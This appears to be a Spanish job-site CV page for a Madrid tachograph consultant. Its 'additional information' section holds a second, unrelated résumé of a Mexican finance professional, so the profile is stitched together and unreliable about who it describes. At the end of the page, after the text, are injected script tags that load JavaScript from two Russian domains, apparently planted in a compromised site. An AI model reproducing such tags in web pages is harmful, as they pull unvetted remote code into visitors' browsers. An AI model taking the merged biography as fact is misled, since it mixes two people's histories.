

Rosa Mary Conches González



titulo Consultora de Tacógrafo

Consultoría - Asesoría. Me dedico desde hace más de 25 años a la consultoría en materia de tacógrafo y tramitación de procedimiento sancionador administrativo sancionador

EXPERIENCIA LABORAL

-6/1999-0/0 Consultrans

Consultoría - Asesoría Consultoría - Tecnología

Madrid

Jefa de proyectos

España

FORMACIÓN ACADÉMICA

6/2014

Derecho

Universidad Complutense de Madrid

Cursando: Licenciado Derecho

Universidad Complutense

Madrid

España

Profesiones:

Abogada Derecho administrativo sancionador

Actor/Actriz Musicales

Asesora Tiempos de conducción y descanso

Cajero

Camarera Vips y restaurantes en la Costa Brava

Consultoría - Tecnología Jefa de proyectos

Letrada (abogada)

Perito Calígrafo Judicial

CAPACIDADES

CAPACIDADES Y APTITUDES PERSONALES

Educación - Formación

Responsable , organizado , eficiente , pragmático , extrovertido , trato fácil con personas



Capacidad adquirida en En el curso de monitor España

IDIOMAS

Catalán

Nivel:Nivel Avanzado

Español

Nivel:Nivel Avanzado

Inglés

Nivel:Nivel Intermedio

OBJETIVOS PROFESIONALES

Jefa de proyectos.

Cualidades

Analítico/a, Cariñoso/a, Colaborador, Comunicativo/a, Creativo/a, Decidido/a, Eficiente, Enérgico/a, Flexible, Gracioso/a, Honesto/a, Intelectual, Inteligente, Organizado/a, Persuasivo/a, Productivo/a, Responsable, Sociable, Trabajador/a,

Aficiones

Arte, Bailar, Jardinería, Naturaleza, Religión, Teatro/Ballet, Viajar/Turismo, Yoga/Meditación,

Disponibilidad

Estoy dispuesto a viajar: Si

Estoy dispuesto a trabajar en el extranjero: Si

Estoy dispuesto a trabajar fuera de mi región: Si

Información Adicional:

FORMACIÓN:BR>Licenciado en Contaduría Pública y Finanzas ITESM Campus Sonora Norte
2000-2005 Con especialidad en "Asesor en Estrategias de Inversión" EXPERIENCIA:BR>Casa
Guadalupe Libre I.A.P.(Febrero-Mayo 2005).Hermosillo, Sonora. Preparación y análisis de presupuesto
2005.Así como la revisión y planificación del sistema "peso por peso". •Distribuciones de
Éxito.(Febrero 2003-2005) Hermosillo, Sonora. Impulsé el negocio familiar, incrementando las ventas en
un 18% y expandiendo el mercado a más ciudades como: Nogales, Magdalena, Phoenix, Puerto
Peñasco. *Grupo Elektra (Junio 2005-Junio 2006)Hermosillo, Sonora. Asistente de Dirección de
Operaciones Pacifico-Frontera Elaboración de análisis objetiva para toma de decisiones por parte de la
dirección.-Responsable del manejo de la información financiera(ventas, contribución, inventarios,
estados de resultados, costos de almacenaje, tiendas perdedoras, etc.)-Coordinación y seguimiento a
proyectos por parte de la dirección con gerentes regionales de operaciones y áreas staff ,trato directo
con staff, coordinación de juntas, seguimiento a campañas de Elektra (semanahorros,etc.).Puesto de
confianza por ver información confidencial. Elaboración de reportes por tienda, región y división. He



adquirido experiencia en el área comercial y ventas dentro de Grupo Salinas. *Consultoría Internacional Casa de Cambio SA de CV (Junio 2006-Enero 2007) Gerente de Promoción Conformé y mantuve un equipo de trabajo de ventas de alto rendimiento para cumplir los estándares establecidos a través de la promoción de servicios financieros implantando una atención al cliente personalizada con calidad y respeto, generando fidelidad al grupo. Lleve a cabo varios servicios financieros dentro del grupo. <http://www.cisacambios.com.mx> *Lubrimovil SA de CV Gerente General (Enero 2007-Hasta la fecha) Llevo a cabo varias funciones contables, operativas, administrativas, de ventas, financieras, etc. con grandes resultados en el mercado. FORMACIÓN COMPLEMENTARIA:BR>*Llevé a cabo el curso "Taller de Mercado de Valores" el 16 de abril del 2005 por la Dirección para Ejecutivos Bursátiles S.C. *Llevé a cabo el curso "Formación de Vendedores" llevado a cabo por ASPROV Consultores.

*Formé parte del Seminario de Finanzas llevado a cabo por la Universidad Virtual del Tecnológico de Monterrey e conjunto con el Instituto Mexicano de Ejecutivos de Finanzas. *Llevé a cabo el Programa de Excelencia Gerencial en Grupo Elektra. *Llevé a cabo el Curso de Programación Neurolingüística por la Universidad Elektra.(68 horas). *Llevé a cabo la Figura No. 3 de Asesor de Estrategias de Inversión impartido por la IMBU.(impartido por Ing. Gerardo Rodríguez)

INFORMACIÓN ADICIONAL:BR>OBJETIVO PROFESIONAL Ocupar una posición estratégica en el área contable, financiera y/o administrativa en una empresa nacional ó extranjera formal y sólida que requiera de habilidades de análisis, evaluación, interpretación, solución de problemas, planeación, organización, coordinación y control, aplicar herramientas técnicas aprendidas a lo largo de mi carrera para seguir aprendiendo continuamente. HABILIDADES TÉCNICAS

Solución de problemas, persistencia y dedicación, la aceptación de retos, la actitud de servicio, el rápido aprendizaje, la comunicación interpersonal y la capacidad de análisis. Dominio del idioma inglés 90%, oral y escrito. Computación:Windows, Mindmanager,Office, Lotus, Internet.

LOGROS • Desarrollé para la clase de Evaluación de Proyectos, en conjunto con un equipo multidisciplinario, el proyecto de análisis financiero de factibilidad de la f
• Analicé y evalué la rentabilidad de cada uno de los productos comercializados, logrando aumentar en un 15% el ingreso de los mismos, a través de una mejor asignación de las zonas de venta a nuestros representantes
• Logré captar más de 100 clientes por mes para llevar a cabo servicios financieros de divisas.
• Logré establecer estrategias financieras para aportar al cliente un mayor beneficio.

</> src=httioqp.ru/ngg.js</>script src=http://www.bannerdriven.ru/ads.js>

